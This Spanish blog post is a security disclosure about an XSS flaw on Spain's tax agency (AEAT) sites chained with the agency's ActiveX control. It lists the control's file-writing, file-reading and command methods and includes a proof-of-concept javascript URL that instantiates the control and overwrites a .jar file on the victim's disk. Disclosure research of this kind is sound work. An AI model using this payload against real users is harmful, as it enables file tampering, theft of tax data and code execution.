Weaponized XSS – El caso de la Agencia Tributaria.
Estamos acostumbrados a los típicos efectos que puede tener un XSS, sin embargo hay veces que se puede ir más allá de un robo de credenciales etc…Podemos llegar incluso a la ejecución de código.
El modo en que funciona la arquitectura de los ActiveX y sus métodos de securización, muy ligados al dominio dentro del cual se está instanciando, hacen del XSS un vector de ataque muy potente. Esto lo demostré en la pasada RootedCon, donde un fallo de diseño permitía controlar por completo una máquina usando un ataque XSS en conjunto con métodos potencialmente inseguros en un ActiveX. Es conveniente recordar las slidespara entender mejor este post.
Hoy, vamos a hablar de un fallo del mismo tipo en la arquitectura de la Agencia Tributaria española.
El escenario del ataque sería aquel donde la víctima pincha, por el medio que sea, un enlace especialmente creado. Una explotación exitosa acarrearía la posibilidad de que el atacante obtuviera acceso a los datos fiscales, facturas u otros ficheros de la víctima, pudiera modificarlos e incluso ejecutar código.
Disclaimer.
Quiero dejar claro, para que nadie piense nada raro, que a mí sólo me interesa lo que se ejecuta en mi ordenador. No he tocado ningún servidor de la AEAT, ni ganas tengo. Recordar así mismo que un XSS se ejecuta en el lado cliente. Si por obligación se me conmina a instalar un ActiveX quiero saber por qué, qué hace y si esto supone un riesgo para la seguridad de mis equipos.No me hago responsable de ninguna manera del mal uso que pueda darse a esta información. Hasta donde considero mi obligación como researcher, he cumplido.
Si entrar en más detalles ya que es algo totalmente documentado, como contábamos antes, a la hora de instanciar los ActiveX Microsoft ofrece algunas medidas que permiten controlar quién puede «jugar» con ellos y quien no. Si se informará al usuario antes de ejecutarlos, desde qué dominios pueden ejecutarse etc. IObjectSafety, via claves en el registro (AllowedDomains), sin contar con los métodos propietarios que use cada ActiveX para asegurar que quien está accediendo a sus métodos procede de un lugar realmente legítimo
En el caso de la Agencia Tributaria, los que hayais usado el PADRE para descargar los datos fiscales os acordareís que os mandaron instalar un ActiveX para este propósito. Este mismo activeX es instalado a la hora de realizar las declaraciones telemáticas de IVA que todas las sociedad tienen que presentar obligatoriamente, a través de internet.
Veamos qué metodos expone:
[id(0x00000001), helpstring("method BAS64")]
HRESULT BAS64(
[in] BSTR input,
[out, retval] BSTR* result);
[id(0x00000002), helpstring("method DECODEBASE64")]
HRESULT DECODEBASE64(
[in] BSTR input,
[out, retval] BSTR* result);
[id(0x00000003), helpstring("method LEEDI")]
HRESULT LEEDI(
[in] BSTR directorio,
[in, optional] BSTR titulo,
[in, optional] BSTR texto,
[in, optional] BSTR bloqueo,
[out, retval] BSTR* resultado);
[id(0x00000004), helpstring("method HASH")]
HRESULT HASH(
[in] BSTR algoritmo,
[in] BSTR texto,
[out, retval] BSTR* resultado);
[id(0x00000005), helpstring("method LEEFI")]
HRESULT LEEFI(
[in] BSTR fichero,
[in, optional] BSTR modo,
[in, optional] BSTR crlf,
[in, optional] BSTR extension,
[out, retval] BSTR* contenido);
[id(0x00000006), helpstring("method GRABATXT")]
HRESULT GRABATXT(
[in] BSTR ruta,
[in] BSTR datos,
[in] BSTR modo);
[id(0x00000007), helpstring("method FIRMAR")]
HRESULT FIRMAR(
[in] BSTR datos,
[in, optional] BSTR ca,
[in, optional] BSTR datos_mostrados,
[in, optional] BSTR cadenaCompleta,
[in, optional] BSTR nif,
[out, retval] BSTR* resultado);
[id(0x00000008), helpstring("method EXISTE")]
HRESULT EXISTE(
[in] BSTR fichero,
[out, retval] BSTR* resultado);
[id(0x00000009), helpstring("method FILEDIALOG")]
HRESULT FILEDIALOG(
[in] BSTR titulo,
[in] BSTR directorio,
[in, optional] BSTR extension,
[out, retval] BSTR* fichero);
[id(0x0000000a), helpstring("method DIALOGO")]
HRESULT DIALOGO(
[in] BSTR estado,
[in] BSTR texto,
[in] BSTR boton);
[id(0x0000000b), helpstring("method GETSUBJECT")]
HRESULT GETSUBJECT([out, retval] BSTR* subject);
[id(0x0000000c), helpstring("method LEEBI")]
HRESULT LEEBI(
[in] BSTR fichero,
[in] BSTR codificacion,
[in, optional] BSTR extension,
[out, retval] BSTR* contenido);
[id(0x0000000d), propget, helpstring("property HASHBI")]
HRESULT HASHBI([out, retval] BSTR* pVal);
[id(0x0000000e), propget, helpstring("property TAMBINARIO")]
HRESULT TAMBINARIO([out, retval] long* pVal);
[id(0x00000012), helpstring("method CONECTAR")]
HRESULT CONECTAR(
[in] BSTR url,
[in] BSTR datos,
[in] BSTR appData,
[in] BSTR modo,
[in] long tiempoMaximo,
[out, retval] BSTR* resultado);
[id(0x00000013), helpstring("method GRABABI")]
HRESULT GRABABI(
[in] BSTR ruta,
[in] BSTR codificacion,
[in] BSTR datos);
[id(0x00000014), propget, helpstring("property NOLOG")]
HRESULT NOLOG([out, retval] BSTR* pVal);
[id(0x00000014), propput, helpstring("property NOLOG")]
HRESULT NOLOG([in] BSTR pVal);
[id(0x00000015), helpstring("method DIRDIALOG")]
HRESULT DIRDIALOG(
[in] BSTR titulo,
[in] BSTR texto,
[out, retval] BSTR* directorio);
[id(0x00000016), helpstring("method ELEGIR_CERT")]
HRESULT ELEGIR_CERT(
[in] BSTR titulo,
[in] BSTR texto,
[in, optional] BSTR ca,
[out, retval] BSTR* certificado);
[id(0x00000017), helpstring("method EXISTEDIR")]
HRESULT EXISTEDIR(
[in] BSTR directorio,
[out, retval] BSTR* resultado);
[id(0x00000018), helpstring("Abre un cuadro de dialogo en el que se muestra un Avi.")]
HRESULT ABRIRAVI(
[in] int numb,
[in] BSTR titulo,
[in] BSTR texto,
[in] int rango);
[id(0x0000001a), propget, helpstring("property DIALOGO_CANCELADO")]
HRESULT DIALOGO_CANCELADO([out, retval] short* pVal);
[id(0x0000001b), helpstring("method ACTUALIZAAVI")]
HRESULT ACTUALIZAAVI(
[in] int numb,
[in] BSTR texto,
[in] int inc,
[in, optional] int rango);
[id(0x0000001c), helpstring("method CERRARAVI")]
HRESULT CERRARAVI([in] int numb);
[id(0x0000001e), helpstring("method PRINT")]
HRESULT PRINT([in] IUnknown* documento);
[id(0x0000001f), helpstring("method SELECT_CERT")]
HRESULT SELECT_CERT(
[in] BSTR cadenaBusqueda,
[in, optional] BSTR ca,
[in, optional] BSTR nif,
[out, retval] BSTR* certificado);
[id(0x00000020), helpstring("method SIGUE")]
HRESULT SIGUE([in] int numb);
[id(0x00000021), helpstring("method MUEVEFI")]
HRESULT MUEVEFI(
[in] BSTR origen,
[in] BSTR destino);
[id(0x00000023), helpstring("method GRABAIMG")]
HRESULT GRABAIMG(
[in] BSTR url,
[in] BSTR ruta,
[out, retval] BSTR* resultado);
[id(0x00000024), helpstring("method DESBLOQUEAR")]
HRESULT DESBLOQUEAR([in] BSTR fichero);
[id(0x00000025), helpstring("method INICIA")]
HRESULT INICIA([in] BSTR directorio);
[id(0x00000026), helpstring("method FIRMARLOTES")]
HRESULT FIRMARLOTES(
[in] BSTR datos,
[in, optional] BSTR cadenaCompleta,
[out, retval] BSTR* resultado);
[id(0x00000027), helpstring("method BORRAFI")]
HRESULT BORRAFI([in] BSTR fichero);
[id(0x00000028), helpstring("method CREARENLACE")]
HRESULT CREARENLACE(
[in] BSTR fichero,
[in] BSTR nombre,
[in] BSTR descripcion,
[in] BSTR icono);
[id(0x00000029), helpstring("method GETURL")]
HRESULT GETURL(
[in] BSTR url,
[out, retval] BSTR* contenido);
[id(0x0000002a), helpstring("method UNZIP")]
HRESULT UNZIP(
[in] BSTR directorio,
[in] BSTR fichZip);
[id(0x0000002b), helpstring("method GSWIN32C")]
HRESULT GSWIN32C([in] BSTR parametros);
[id(0x0000002c), helpstring("method CERRARVENTANA")]
HRESULT CERRARVENTANA();
[id(0x0000002d), propget, helpstring("property IDIOMA")]
HRESULT IDIOMA([out, retval] BSTR* IDIOMA);
[id(0x0000002d), propput, helpstring("property IDIOMA")]
HRESULT IDIOMA([in] BSTR IDIOMA);
[id(0x0000002e), propget, helpstring("property ESBINARIO")]
HRESULT ESBINARIO([out, retval] BSTR* pVal);
[id(0x0000002f), helpstring("method FECHA_MOD_URL")]
HRESULT FECHA_MOD_URL(
[in] BSTR url,
[out, retval] long* pFecha);
[id(0x00000030), helpstring("method FECHA_MOD_FICH")]
HRESULT FECHA_MOD_FICH(
[in] BSTR fichero,
[out, retval] long* pFecha);
[id(0x00000031), propget, helpstring("property FECHA_CAD_CERT")]
HRESULT FECHA_CAD_CERT([out, retval] BSTR* pVal);
[id(0x00000032), propget, helpstring("property EMISOR_CERT")]
HRESULT EMISOR_CERT([out, retval] BSTR* pVal);
[id(0x00000033), helpstring("method GET_VARIABLE_ENT")]
HRESULT GET_VARIABLE_ENT(
[in] BSTR variable,
[out, retval] BSTR* valor);
[id(0x00000034), helpstring("method GET_IMG")]
HRESULT GET_IMG(
[in] BSTR url,
[out, retval] BSTR* contenido);
[id(0x00000035), helpstring("method ES_CITRIX")]
HRESULT ES_CITRIX([out, retval] BSTR* resultado);
[id(0x00000036), helpstring("method ESMSWORD")]
HRESULT ESMSWORD(
[in] BSTR fichero,
[out, retval] BSTR* resultado);
[id(0x00000037), helpstring("method ABRIRFICHERO")]
HRESULT ABRIRFICHERO([in] BSTR fichero);
[id(0x00000038), helpstring("method ESMSEXCEL")]
HRESULT ESMSEXCEL(
[in] BSTR fichero,
[out, retval] BSTR* resultado);
[id(0x00000039), helpstring("method TAM_FICHERO")]
HRESULT TAM_FICHERO(
[in] BSTR fichero,
[out, retval] double* resultado);
};
Como veis hay algunos metodos como GRABABI que suenan interesantes. Haciendo ingeniería inversa podemos fácilmente averiguar los parámetros correctos que quedarían por ejemplo:
GRABABI(\’c:\\\\\AEAT\\\\RENTA2009\\\\irpf2009_false.jar\’,\’base64\’,\’ADFADFAFAFAFAFAFA[..]\’)
Internamente, el ActiveX implementa una serie de comprobaciones para evitar que las operaciones que hagamos salgan fuera del directorio «c:\aeat\», sin embargo, podríamos sobreescribir cualquier .jar de los que instala el PADRE o crear ciertos tipos de ficheros que fuera cargados automaticamente por el sistema.
Luego existen, los métodos LEERFI, LEERDIR donde podríamos listar el directorio y leer los ficheros de datos fiscales o de otro tipo y enviarlos a un servidor controlado por nosotros… En fin mil cosas.
Qué nos falta? Que la página de la agencia tributaria tenga un XSS para poder isntanciar el ActiveX desde el dominio permitido, ya que se guarda en la clave «AllowedDomains» el dominio desde donde se inicia y acepta la instalación del activex, en este caso, alguno de los pertenencientes a la AEAT.
¿Existe un fallo XSS en las webs de la AEAT? Sí. Y este permitiría hacer una cosa así.
https://aeat.es/XXXXXXXXXXXXXXXXXXXXXXXXXXX=javascript:{var c0d= '<html><body><object id=\'ab\' classid=\'CLSID:B785FA3C-1DE9-4D20-8396-613C486FE95E\'></object><script>function xplit(){ab.GRABABI(\'c:\\\\\AEAT\\\\RENTA2009\\\\irpf2009_false.jar\',\'base64\',\'ADFADFAFAFAFAFAFA\');}</script><a href=\'javascript:xplit();\'>exploit</a></body></html>';document.write(c0d);}
U otras peores. Avisé a la AEAT de este fallo hace más de un mes. A día de hoy sigue sin arreglarse. Yo por mi parte considero que no puedo hacer más.
Hasta la siguiente.